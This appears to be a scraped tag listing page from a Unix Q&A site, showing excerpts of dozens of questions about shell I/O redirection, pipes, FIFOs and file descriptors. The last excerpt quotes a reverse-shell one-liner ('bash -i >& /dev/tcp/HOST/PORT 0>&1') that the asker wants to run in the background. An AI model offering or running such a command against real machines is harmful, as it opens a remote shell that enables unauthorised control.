io redirection is the process of changing where the output and input of a program originate

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How to send a output of unix command from one server to another server?

How to redirect the output of a unix command from one server to another server. I should be able to send the unix command's output from server-1. Then I should be able to receive the output in ...
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4answers
147 views

Redirect and pipe output

rpm -qa > file | wc -l returns 0. What am I doing wrong? I think it is clear what my goal is, but it isn't working. Is this a job for xargs or tee?
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3answers
21 views

How can I pipe data over network or serial to the display of another linux machine?

I have a second monitor that I'd like to use for a text-based debugging log and/or console. I don't want to have it as part of my GUI / "desktop" / main system. I have this display connected to an ...
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1answer
57 views

Why doesn't this piped script work?

#!/bin/bash rm out mkfifo out nc -l 8080 < out | while read line do echo hello > out echo $line done If I browse to the IP of the machine this script is running on (using port ...
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2answers
47 views

Inconsistent redirection behavior ssh interactive vs commands

These work, ssh remote 'echo hi > hi.txt' echo hi | ssh remote 'cat > hi.txt' but this does not work ssh remote sh -c 'echo hi > hi.txt' I expected to produce a file on remote named ...
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4answers
268 views

A command that generates both standard error and output

I want to do some troubleshooting on my bash script. Is there a short and simple command that generates both stdout and stderr so that I can use 2>&1 on it? Sorry if this looks trivial, but I ...
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3answers
336 views

pipe line with non-deterministic output

I have happened upon a command that sometimes works and sometimes does not, even when executed multiple times in rapid succession in a bash shell (I have not tested the behavior in other shells). The ...
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3answers
90 views

What does running “< ./somefile.txt” in shell do?

So I just executed < ./somefile.txt in a shell, and it doesn't appear to do anything (the text file has valid linux commands). So where are the contents of the text file being redirected to? I'm ...
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1answer
30 views

How to redirect per-CPU top output to file?

I want redirect top output to a file, but I am interested in the per-CPU usage. Doing just #I only want to see processes belonging to myuser top -b -d 1 -u myuser > top.txt gives me stats ...
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1answer
31 views

Why do I get “Permission denied” when redirecting the output of sudo echo “xyz” to a file? [duplicate]

Why do I get -bash: test: Permission denied when I run sudo echo "xyz" > test The directory permissions are: drwxr-xr-x 3 root root 4096 2014-08-05 16:26 I have no problem creating a ...
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2answers
35 views

awk - read program AND input from the standard input?

Is it possible for awk to read the program and the input from the standard input? I would like to be able to pipe a file to the following function. process_data () { awk -f - <<EOF {print} ...
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start-stop-daemon doesn't stop programs which redirect stdout/stderr

I just discovered, that start-stop-daemon doesn't work well with programs redirecting their stdout/stderr: # cat /root/_/1.sh #!/usr/bin/env bash set -eu cmd="~yuri/_/${2:-1}.sh" if [ "${3:-}" = ...
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1answer
56 views

Is it possible to use multiple here-docs in bash?

Can one use multiple here-docs to provide input to a command in bash? $ cat <<<foo <<<bar bar $ cat <<EOF1 <<EOF2 > foo > EOF1 > bar > EOF2 bar Obviously, ...
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1answer
50 views

How can I send reads and writes on a single file descriptor to different places?

I have a Linux executable foo that reads input from fd 0 and writes output to fd 0 (not fd 1). This works just fine for interactive use in the terminal. From the shell command line, how can I execute ...
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3answers
57 views

cat /dev/null emptied my log file but size did not change

I'm quite new to Unix. Using Solaris 10 I faced the below issue. There is a large log file with size 9.5G. I tried to empty the file using the below command. # cat /dev/null file_log.txt By doing ...
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1answer
47 views

Does cat never read from terminal?

Chapter 43. Redirecting Input and Output of Unix Power Tools, Third Edition has to say this about cat command: Standard input (stdin) normally comes from your keyboard. Many programs ignore ...
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2answers
61 views

Decoding “prog > file 2>&1”

I am having some difficulty understanding the construct prog > file 2>&1. I have read that it means "Send stdout and stderr to file". But my question is how? I understand that prog > ...
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2answers
74 views

How to redirect stdout to a file and read from the same file simultaneously with another task?

I want to run a task (which takes quite a long time) remotely in Ubuntu Linux Bash via nohup and redirect stdout to a file, e.g.: nohup task > out.txt & From time to time I would like to ...
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2answers
76 views

Pass argument to script, then redirect script as input to bsub

I am currently working with the bsub job submission system from Platform LSF. I need to submit job scripts, but I am running into a problem with passing arguments to the job script. What I need is as ...
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2answers
200 views

Redirecting output depending on grep regex

I am using gradle run to start a REST server. The output of the REST server looks like this: XXX.XXX.XX.XXX - <moreinfo> randomtext randomtext XXX.XXX.XX.XXX - <moreinfo> XXX.XXX.XX.XXX - ...
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1answer
53 views

redirect output for a command that takes in multiple arguments

this command is to redirect output of time to with multiple args: $ time wc test >wc.out 2>time.out unix programming environment book shows that the error output of time redirects to ...
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141 views

Combining brace expansion and output redirection

Often, I use parameter expansion on the command-line, such as cp a.{ext1,ext2} which is expands to cp a.ext1 a.ext2 However, in many cases I do not use cp, but another tool, let's call it cat, ...
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1answer
97 views

How to make a variable from a subshell available in the parent shell

I've written a quick-and-dirty script to time some reports from a web service: BASE_URL='http://example.com/json/webservice/' FIRST=1 FINAL=10000 for report_code in $(seq 1 $FINAL); do (time -p ...
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2answers
52 views

Hiding Script Command Output

I'm building a shell script to automatically configure a specific computer with the best settings. I would like to hide all output from this script except for echo output. Is it possible?
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2answers
82 views

What does “batch mode” mean for the top command?

I was reading about the top command and I came across something I don't quite understand: top options: -b Run in batch mode. This is useful for sending output from top to other programs or to ...
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7answers
352 views

How do you remember the syntax for 2>&1 redirection [closed]

Do you have a mnemonic or system? This has bothered me for years I always have to look it up
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1answer
492 views

bottomless tee?

I was just playing around in the terminal and I did this: printf 'some string\n' | { tee /dev/fd/3 | { : && sed 's/some/string/' } } 3>&0 I was really surprised when ...
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1answer
78 views

What are the difference between those four commands (fifo, process substitution, redirection…)

My goal is to create a simple echo server using nc and a single fifo. I'm not looking for the best way to do it, I'm merely trying to understand the semantics of the following commands (when does fork ...
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2answers
48 views

What fd's are used when doing diff <(cat old) <(cat new)?

If I do: diff <(cat old) <(cat new) Hoe does that work internally for the diff program? And how I do the same trick with a bash script?
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3answers
176 views

Environment variables are not set when my function is called in a pipeline

I have the following recursive function to set environment variables: function par_set { PAR=$1 VAL=$2 if [ "" != "$1" ] then export ${PAR}=${VAL} echo ${PAR}=${VAL} shift ...
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1answer
78 views

Send copy of a script's output to a file

Say I have a Zsh script and that I would like to let it print output to STDOUT, but also copy (dump) its output to a file in disk. Moreover, the script starts with the following option set -o xtrace ...
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1answer
68 views

How does SSH display the message “The authenticity of host .. can't be established”?

I wanted to trace down the system call used by ssh to output this warning message: > ssh root@abcde The authenticity of host .. can't be established. If the message were sent to stderr or ...
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2answers
256 views

Closing a file descriptor, >&- vs <&-

In the bash tutorial I am reading, it says that if you open a file descriptor for reading, i.e. exec 3< echolist Then you must close it like this, exec 3<&- However, if you open a file ...
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5answers
998 views

Difference between cat and '>' to zero out a file

Are these two commands any different on how they go about zero-ing out files? Is the latter a shorter way of doing the former? What is happening behind the scenes? Both $ cat /dev/null > ...
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0answers
62 views

Some puzzles of how to close file descriptors on sh or bash [duplicate]

Question 1. What will happen if we close a input file descriptor as if it is a output file descriptor? (or vice versa). For Example, $ exec 5<&2 $ exec 5>&- In my linux box, ...
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3answers
2k views

bash: /home/user/.ssh/authorized_keys: No such file or directory

Create a ssh key: $ ssh-keygen -t rsa –P "" Moving the key to authorized key: $ cat $HOME/.ssh/id_rsa.pub >> $HOME/.ssh/authorized_keys bash: /home/user/.ssh/authorized_keys: No such file ...
3
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3answers
320 views

stdin, stderr, redirection and logs

Is there a difference between those two lines ? /home/user/script.sh >> /home/user/stdout_and_error.log 2>&1 /home/user/script.sh 2>&1 >> /home/user/stdout_and_error.log ...
3
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1answer
219 views

Prevent hanging of “echo STRING > fifo” when nothing is reading that FIFO

When I echo something to a named pipe made with mkfifo, it hangs if no process is reading from that pipe. How can I prevent that, i.e., stop that from hanging? And by the way, why is that hanging ...
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2answers
105 views

How to properly launch a program and make possible to redirect its running output (stdout and stderr) at a later stage?

The problem is quite simple: I find useful to have the possibility to switch on (and off) the output of some running program in each moment I need. To be more precise I want to be free to redirect ...
22
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1answer
535 views

How do I redirect command completion output?

On the command line, I can redirect or pipe output of a command to a file or another command using the > or | operator after the command. I have come across a less standard situation that I would ...
9
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3answers
511 views

tee stdout to stderr?

I'd like to send stdout from one process to the stdin of another process, but also to the console. Sending stdout to stdout+stderr, for instance. For example, I've got git edit aliased to the ...
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2answers
65 views

Redirect the output of a command in `time command`

I am trying to time something using: /usr/bin/time myCommand However, since /usr/bin/time writes to stderr, if myCommand also writes to stderr, I will get more than just time's output on the ...
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1answer
615 views

Linux : how to redirect stdout & stderr to logger?

I have a program I need to run at startup, it has output on stdout and stderr that I want to redirect to the system log using the logger command. What I have in my startup script is thie: ...
2
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2answers
121 views

Linux Shell fundamentals: How can I check the file descriptors status, (where are redirected to) right now without lsof?

I am learning about file descriptors for the case of Linux, and I was wondering if there is any command showing a complete list that allows me to know where is each one redirected to in this moment. ...
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2answers
136 views

How do I elevate privileges in the middle of pipeline?

My guess was as follows: echo "Generating some text" | su - -c cat >/output/file But su says: su: must be run from a terminal What would you do?
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4answers
3k views

What is the correct name for the “>” command

I was trying to find how to pass some text to a file without overwriting what's there already using the > command and I realised I don't know what it's called. Searching for right arrow or right ...
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Emptying a file without disrupting the pipe writing to it

I have a program whose output I redirect to a log file: ./my_app > log I would like to clear (i.e. empty) the log from time to time (on demand) and tried various things like cat "" > log ...
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2answers
105 views

Command substitution vs I/O Redirection?

I am wondered about differences between I/O Redirection and Command substitution? For example when I want to redirect which command output to cd command (I know that it's not a directory) then the ...
2
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3answers
131 views

Redirecting only stderr to a pipe

This code snippet is from Advanced Bash Scripting Guide. # Redirecting only stderr to a pipe. exec 3>&1 # Save current "value" of stdout. ls -l 2>&1 ...
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Running 'bash -i >& /dev/tcp/HOST/PORT 0>&1' in the background

I want to run bash -i >& /dev/tcp/HOST/PORT 0>&1 in the background at server1. I want to listen to the connection and send commands back at HOST/PORT. So, tcpdump isn't sufficient for ...